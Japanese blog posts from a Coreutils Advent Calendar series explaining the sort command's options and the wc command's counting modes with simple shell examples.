 マージするモードの例を示します。あらかじめソート済みのファイルを流し込んでやるとソートしてくれます。そのため、seq であらかじめ連続したデータを作っておきます。せっかくなのでheadコマンドで表示してみました。

$ seq 0 2 10 > a
$ seq 1 2 10 > b
$ head a b
==> a <==
0
2
4
6
8
10

==> b <==
1
3
5
7
9

 単にソートしてみます。

$ sort a b
0
1
10
2
3
4
5
6
7
8
9

 10は後ろに持ってきたいですよね。-n-g-h オプションをつけるとよしなにソートします。

$ sort -n a b
0
1
2
3
4
5
6
7
8
9
10

その他有用なオプション

-u : 重複を弾いてくれます
-r : 逆順に表示してくれます
-k pos1[,pos2] : 特定のカラムにある文字列を対象にソートします。 ps aux の2カラム目を降順でソートした結果:

$ ps aux | sort -nk +2 | tail

-t : セパレータを設定します。 -k と合わせて使うことが多いです。使用例は複雑なのでマニュアルを見て下さい
-M : Month sortです。月の名前でソートしてくれます
-R : Random Sortです
-V : Version Sortです。バージョン番号でソートします。実はIPv4アドレスをソートするときに使えます
--parallel=n : nに並行実行数を入れるとパラレルに実行してくれます。ただし、自動で有効なプロセス数が設定されます。あまり気にしなくていいでしょう。最大値は8です

次回

 tsort コマンド。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

wcコマンド

Coreutils Advent Calendar 9日目です

 今回は wc コマンドです。

wcコマンドとは

 ファイルの行数を知るときによく出るコマンドです。 wc -l しか打たないという声があります。-lオプションはファイルの行数を表示するコマンドです。

行数、単語数、バイト数

 覚えましたね。オプションが無いときの出力結果です。行数、単語数、バイト数の順です。

$ wc /etc/hosts                                                                                      
  2  10 158 /etc/hosts

圧縮されているファイルはどうする?

$ bzcat foo.bz2 | wc -c

 こんな感じで解凍したものをカウントすれば良さそうです。

ファイルの中で一番長い行の長さを出す

 下記の例では、*.c または *.hファイルのリストから、1行の行数が一番長い行の文字列を表示します。

$ find . -name '\*.[ch]' -print0 | wc -L --files0-from=- | tail -n1

特定の文字列だけ何回出現しているか?

 grepコマンドの話になっちゃいますがこんなかんじです。

$ grep -o string file | wc -l

次回

 sort コマンド。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む